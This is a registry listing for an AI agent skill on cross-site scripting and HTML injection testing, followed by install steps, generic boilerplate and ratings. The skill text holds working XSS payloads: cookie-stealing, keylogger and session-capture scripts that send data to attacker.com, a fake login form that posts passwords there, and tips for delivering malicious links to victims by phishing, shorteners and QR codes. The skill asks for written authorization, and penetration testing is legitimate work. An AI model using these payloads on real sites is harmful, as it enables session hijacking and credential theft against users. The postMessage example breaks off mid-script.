cross-site-scripting-and-html-injection-testing▌
sickn33/antigravity-awesome-skills · updated Apr 8, 2026
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Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
Reflected XSS Indicators:
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
DOM-Based XSS Indicators:
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Craft Persistent Payloads
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Identify Sources
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS Payloads
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
How to use cross-site-scripting-and-html-injection-testing on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add cross-site-scripting-and-html-injection-testing
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches cross-site-scripting-and-html-injection-testing from GitHub repository sickn33/antigravity-awesome-skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate cross-site-scripting-and-html-injection-testing. Access the skill through slash commands (e.g., /cross-site-scripting-and-html-injection-testing) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★39 reviews- ★★★★★Kabir Sanchez· Dec 12, 2024
cross-site-scripting-and-html-injection-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Sakura Okafor· Dec 8, 2024
I recommend cross-site-scripting-and-html-injection-testing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Pratham Ware· Dec 4, 2024
cross-site-scripting-and-html-injection-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Aanya Wang· Nov 27, 2024
cross-site-scripting-and-html-injection-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Sakshi Patil· Nov 23, 2024
I recommend cross-site-scripting-and-html-injection-testing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Nikhil Mehta· Oct 18, 2024
Registry listing for cross-site-scripting-and-html-injection-testing matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Chaitanya Patil· Oct 14, 2024
Useful defaults in cross-site-scripting-and-html-injection-testing — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Henry Abbas· Sep 17, 2024
Solid pick for teams standardizing on skills: cross-site-scripting-and-html-injection-testing is focused, and the summary matches what you get after install.
- ★★★★★Nikhil Gonzalez· Sep 9, 2024
cross-site-scripting-and-html-injection-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Aarav Kapoor· Sep 9, 2024
cross-site-scripting-and-html-injection-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
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